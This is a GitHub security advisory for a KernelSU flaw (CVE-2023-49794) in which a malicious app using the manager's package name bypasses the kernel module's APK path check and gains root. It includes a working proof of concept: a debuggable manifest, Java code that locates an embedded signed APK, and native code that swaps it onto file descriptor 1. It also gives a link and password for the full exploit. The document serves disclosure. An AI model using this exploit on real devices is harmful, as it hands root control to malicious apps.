Skip to content

The logic of get apk path in KernelSU module can be bypass

Moderate
tiann published GHSA-8rc5-x54x-5qc4 Dec 31, 2023

Package

me.weishu.kernelsu

Affected versions

<=0.7.1

Patched versions

0.7.2

Description

Summary

The logic of get apk path in KernelSU kernel module can be bypass, which caused any malicious apk named me.weishu.kernelsu get root permission.

Details

In short, a malicious apk named me.weishu.kernelsu put the official KernelSU Manager apk into itself can get root permission, no matter how strict the code is written in apk_sign.c.

The basic idea is let installer to extract the original signed KernelSU Manager APK into the native library path of the attacker's application.

According to the current Android source code, Once the apk is not installed by the incremental mode(Any apk without v4 signature won't be install in such way, so it's easy to achieve), and have the both android:extractNativeLibs="true" and android:debuggable="true" flags in AndroidMainifest.xml(which can bypass the suffix limitation in this Android source code), the lib/{current_arch}/base.apk will be extract into the /data/app/, which bypass the prefix and suffix check in KernelSU.

And opening this embed base.apk with a fd smaller than the real one in the main process, which can bypass the parent process check and ensure the fake one can be found by the loop earilier than the real one, is easy to achieve: just close the unused standard output stream(fd=1) and open the embed apk.

Since the kernel module's logic won't check the signature fully, the embed apk can be cropped to a size that is not easily perceived.

Fortunately, the verification measures for the package name can not be bypassed easily as the apk path, resulting in attackers only being able to attack users who uninstall the Manager and install the application without considering the package name, making it difficult for attackers to succeed.

PoC

Key points:

  1. AndroidManifest.xml named me.weishu.kernelsu and have android:extractNativeLibs="true" and android:debuggable="true".
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools">
    <uses-permission android:name="android.permission.INTERNET" />

    <application
        android:allowBackup="true"
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:fullBackupContent="@xml/backup_rules"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:supportsRtl="true"
        android:extractNativeLibs="true"
        android:debuggable="true"
        android:theme="@style/Theme.RootTest"
        tools:targetApi="31"
        tools:ignore="HardcodedDebugMode">
        <activity
            android:name="me.weishu.kernelsu.MainActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>
  1. java code to find embed base.apk
String sourceDir = context.getApplicationInfo().publicSourceDir;
Log.i("me.weishu.kernelsu java source", sourceDir);
File file = new File(new File(sourceDir).getParent(), "lib");
String baseApkPath = null;
Log.i("me.weishu.kernelsu java lib", file.getAbsolutePath());
for (File abi : file.listFiles()) {
	Log.i("me.weishu.kernelsu java abi", abi.getAbsolutePath());
	if (!abi.isDirectory()) {
		if (abi.getName().equals("base.apk")) {
			baseApkPath = abi.getAbsolutePath();
			break;
		}
	} else {
		for (File so : abi.listFiles()) {
			Log.i("me.weishu.kernelsu java so", so.getAbsolutePath());
			if (!so.isDirectory() && so.getName().equals("base.apk")) {
				baseApkPath = so.getAbsolutePath();
				break;
			}
		}
		if (baseApkPath != null) {
			break;
		}
	}
}
if (baseApkPath != null) {
	ksuSuccess = ksuBecomeManegerEmbed(packageName, baseApkPath);
	tv.setText(ksuSuccess ? "KSU Success Type II step 1" : "KSU All Failed");
} else {
	tv.setText("KSU All Failed");
}
  1. native code to open it with a fd smaller than the real base.apk.
extern "C"
JNIEXPORT jboolean JNICALL
Java_me_weishu_kernelsu_MainActivity_ksuBecomeManegerEmbed(JNIEnv *env, jclass clazz, jstring pkg, jstring path) {
    auto cpkg = env->GetStringUTFChars(pkg, nullptr);
    auto cpath = env->GetStringUTFChars(path, nullptr);
    LOGI("found path %s", cpath);
    // stop all threads in current app, avoid race exception
    kill(-1, SIGSTOP);
    // victim fd == 1, which is not use in Android
    int fd = 1;
    int old_fd = dup(fd);
    close(fd);
    LOGI("close old fd, backup fd %d", old_fd);
    int cpath_fd = open(cpath, O_RDONLY);
    bool duped = false;
    if (cpath_fd != fd) {
        dup2(cpath_fd, fd);
        duped = true;
    }
    LOGI("cpath fd %d", cpath_fd);
    auto result = become_manager(cpkg);
    close(fd);
    dup2(old_fd, fd);
    close(old_fd);
    if (duped) {
        close(cpath_fd);
    }
    // continue all threads in current app, avoid race exception
    kill(-1, SIGCONT);
    env->ReleaseStringUTFChars(path, cpath);
    env->ReleaseStringUTFChars(pkg, cpkg);
    return result;
}

Full PoC: https://drive.google.com/file/d/1b9UrmG_co9EJXB_yMBneRArUIR5sTuaN/view?usp=drive_link

The zip password is EmbedAPKBypass, the app-test-embed-original-ksu.apk use the original KernelSU Manager embed into the it, the app-test-embed-the-cropped-ksu.apk use a cropped one, tested on WSA with latest KernelSU installed.

Impact

If a KernelSU module installed device try to install any not checked apk which package name equal to the official KernelSU Manager, it can take over root privileges on the device.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

CVE ID

CVE-2023-49794

Weaknesses

Credits